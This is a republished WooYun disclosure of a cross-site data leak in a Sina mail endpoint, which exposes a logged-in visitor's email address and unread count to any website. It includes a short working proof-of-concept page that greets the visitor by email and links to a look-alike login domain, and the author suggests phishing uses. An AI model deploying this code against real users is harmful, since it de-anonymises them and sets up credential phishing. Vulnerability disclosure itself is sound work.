看我是如何知道你在新浪上小号是多少的

2017年3月18日02:30:53评论217 views字数 206阅读0分41秒阅读模式

摘要

2016-03-15：细节已通知厂商并且等待厂商处理中
2016-03-15：厂商已经确认，细节仅向厂商公开
2016-03-25：细节向核心白帽子及相关领域专家公开
2016-04-04：细节向普通白帽子公开
2016-04-14：细节向实习白帽子公开
2016-04-29：细节向公众公开

漏洞概要关注数(10) 关注此漏洞

缺陷编号： WooYun-2016-184863

漏洞标题：看我是如何知道你在新浪上小号是多少的

漏洞作者：路人甲

提交时间： 2016-03-15 12:08

公开时间： 2016-04-29 12:16

漏洞类型： CSRF

危害等级：低

自评Rank： 5

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：敏感接口缺乏校验 csrf

1人收藏

漏洞详情

披露状态：

简要描述：

一般大家都通过百度统计、谷歌统计之类的东西，能粗略的了解访问自己网站的都是什么样的群体。
今天我给大家带来一首歌（误），可以直接知道访问你网站的人到底是谁

详细说明：

0x00 登录了新浪帐号后，访问如下地址

http://service.mail.sina.com.cn/mailproxy/mail.php?s=1&timeStamp=

可以看到页面的内容是一个完整的js赋值语句

code 区域

var sinamailinfo={"result":true,"email":"","unreadmail":2,"url":"http:////mail.sina.com.cn//cnmail//index.html?s=1"}

完成赋值后，sinamailinfo就包含了被登录账户的一些信息

比较敏感的就是电子邮件和未读邮件数了

0x01 然后，注意观察这个地址，并未包含csrf token

0x02 进一步测试可以发现，这个地址并没有判断referer或者origin来源是否是新浪的可信域，也并不包含Allow-Origin头

so，我们可以做什么？

往小了说，可以在我们的个人博客首页插些代码，来获取访问我们博客的人的具体在新浪的邮箱信息

往大了到黑产的角度说，我们可以弹一些伪装成新浪的抽奖之类的页面，填上对方的部分个人信息，加强对方对页面的认同感，然后，骗取漏洞或者更多的信息之类

漏洞证明：

由于我小学语文是体育老师教的，加上又比较激动，显得有些词不达意，大家将就看看就好

一个好的文案或者页面，应该足以骗大部分人上当

修复方案：

code 区域

一、漏洞说明：
 
 <html>
 
 <body>
 
 <script src="http://service.mail.sina.com.cn/mailproxy/mail.php?s=1&timeStamp="></script>
 
 <script>
 
 document.write("尊斤的新浪用户["+sinamailinfo.email+"]你好，你有:"+sinamailinfo.unreadmail+"封未读邮件.");
 
 </script>
 
 <a href="http://sina.xsjswt.com">点此登录邮箱</a>查收邮件
 
 </body>
 
 </html>

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2016-03-15 12:16

厂商回复：

感谢支持，漏洞修复中

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-03-15 12:44 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高，标题一定得屌)

1

赞1分

1# 回复此人
2016-03-15 13:59 | 风格 ( 实习白帽子 | Rank:37 漏洞数:12 | 注册为白帽子，你可以在这里提交你发现的漏...)

1

是呆子的那个思路么~

2# 回复此人
2016-03-15 14:16 | 心云 ( 普通白帽子 | Rank:534 漏洞数:146 | 有追求，才会有提高！尽快达到下一个目标!)

1

6

3# 回复此人

漏洞概要 关注数(10) 关注此漏洞

缺陷编号： WooYun-2016-184863

漏洞标题： 看我是如何知道你在新浪上小号是多少的

相关厂商： 新浪

漏洞作者： 路人甲

提交时间： 2016-03-15 12:08

公开时间： 2016-04-29 12:16

漏洞类型： CSRF

危害等级： 低

自评Rank： 5

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 敏感接口缺乏校验 csrf

1人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共0人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(10) 关注此漏洞

漏洞标题：看我是如何知道你在新浪上小号是多少的

相关厂商：新浪

漏洞作者：路人甲

危害等级：低

漏洞状态：厂商已经确认

Tags标签：敏感接口缺乏校验 csrf

版权声明：转载请注明来源路人甲@乌云

漏洞评价(共0人评价):

登陆后才能进行评分